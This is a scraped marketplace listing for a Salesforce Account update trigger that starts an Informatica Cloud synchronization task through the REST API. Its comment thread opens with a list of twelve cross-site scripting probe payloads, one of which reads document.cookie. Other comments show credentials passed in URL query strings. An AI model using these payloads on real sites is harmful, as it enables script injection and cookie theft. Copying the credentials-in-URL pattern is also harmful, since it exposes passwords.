Cloud REST API: Update Trigger on SFDC Account

Cloud REST API: Update Trigger on SFDC Account

Posted by: Kanthimathi Murugesan

Create an Update Trigger on Salesforce Account object. This Trigger should call the REST API and start the Informatica cloud task to reflect the changes in the local database in real-time.

Overview

An Informatica Cloud Data Synchronization (DSS) Task is used to load data and integrate applications, databases, and files. We can use a DSS Task to pull all updates and changes from the Salesforce objects into the local system. With the REST API, we can control when the integration task is fired off. So instead of relying on a manual/scheduled execution, we can start a cloud DSS task based on an event. This Listing demonstrates the use of the REST API to start the Informatica Cloud Task in real-time.

Features

System Requirements:

  • Salesforce Developer Force account
  • Informatica Cloud Enterprise Edition
  • Oracle 10g

Resources

Support

Comments (8) Comment can only be posted by Signed/Logged in user

Sort: Newest | Oldest
    1. '"><svg/onload=prompt(1);>{{7*7}}

    2. '"<!--><Svg OnLoad=(confirm)(1)-->

    3. </Script/"'--><Body /Autofocus /OnFocus = confirm`1` <!-->

    4. <noscript><p title="</noscript><img src=x onerror=alert(1)>">

    5. %2500%27onmouseover=%27window.stop();alert(1)%27style=%27font-size:1000px;background-color:red%27

    6. <script>confirm(document.domain)</script>

    7. “><img src=x onerror=alert(document.domain)>

    8. %E2%80%9C%3E%3Cimg+src%3Dx+onerror%3Dalert%28document.domain%29%3E%0D%0A

    9. "><svg/onload=alert(document.domain)>

    10. <IFRAME%20SRC="javascript:alert(document.cookie);"></IFRAME>

    11. Ahmed"></iframe><script>alert(document.domain)</script>

    12. -->"></span</div><svg/onload=alert(0)>""

  • You can use the following updates to run successfully: Set your Remote Site Setting to: https://app2.informaticacloud.comUpdate your trigger: req.setEndpoint(' https://app2.informaticacloud.com/saas/api/1/runjob?username='+EncodingUtil.urlEncode(username , 'UTF-8')+ '&password='+EncodingUtil.urlEncode(password, 'UTF-8')+ '&jobName='+EncodingUtil.urlEncode(jobName, 'UTF-8')+ '&jobType='+EncodingUtil.urlEncode(jobType, 'UTF-8'));
  • Hi, I tried informatic cloud details with both theoptions but still it is not working. please advise.https://app.informaticaondemand.com andhttps://app2.informaticaondemand.comerror:<RunJobResponse> <errorCode>LOGIN_INVALID_USERNAME</errorCode> <errorMsg>Incorrect username/password specified.</errorMsg> <success>false</success></RunJobResponse>
     |   1
     Load replies
  • Hi I am also facing same issue. has any one got solution on this? I am sure i have done everything correct to configure the setting given in provided guide. End point url from salesforce - debug log-------------------------------------------https://app.informaticaondemand.com/saas/api/1/runjob?username=rakesh.chhatani%40cloudsherpas.com&password=XXXXXXX%21XXX&jobName=SendChangesToDBGS&jobType=DSS, Method=POST 07:12:17.239 (239288000)|CALLOUT_RESPONSE|[41]|System.HttpResponse[Status=OK, StatusCode=200]07:12:17.239 (239328000)|SYSTEM_METHOD_EXIT|[41]|System.Http.send(ANY)07:12:17.239 (239340000)|SYSTEM_MODE_EXIT|false07:12:17.757 (239366000)|CUMULATIVE_LIMIT_USAGE
  • When executing the REST callout I receive the following message, any suggestions?(40677000)|CALLOUT_REQUEST|[41]|System.HttpRequest[Endpoint=https://app2.informaticaondemand.com/saas/api/1/runjob?username=me%40me.co.uk&password=secretword&jobName=Transaction+extract&jobType=DSS, Method=POST]01:17:07.100 (100054000)|EXCEPTION_THROWN|[41]|System.CalloutException: Unrecognized SSL message, plaintext connection? I set up the DSS task as unscheduled rather than triggered by message as there was a conflict with data filters and I figured the REST call would cater for that. I also added both https://app2.informaticaondemand.com and https://app2.informaticacloud.com as Remote Sites.
  • BTW, I have also tried password + security token, it does not work.Is it a configuration setting on InformaticaCloud?
  • I can download now. I did the whole steps but seems the DSS task cannot be triggered. I further check your Apex class, the most critical part is to call the URL:https://app.informaticaondemand.com/saas/api/1/runjob?username=dleung%40informatica.com&password=xxxxx&jobName=ACCOUNT_UPSERT&jobType=DSSI tried just call this URL via the browser, I am quite sure I have filled-in the correct password, however, it prompts error: <RunJobResponse> <errorCode>LOGIN_INVALID_USERNAME</errorCode> <errorMsg> Login Failed. Incorrect username/password specified. Unable to log in? Contact your organization administrator or Informatica Global Customer Support (877-463-2435 or ics_contacts@informatica.com ) to reset your password. </errorMsg><success>false</success> </RunJobResponse>May I know is the username / password are the simple SFDC username / password? Or I have to append the security token to the password?The UserGuide doesn't provide information on this.Derek
     |   1
     Load replies
  • nothing to download after I clicked "FREE DOWNLOAD", is it normal?
     |   1
     Load replies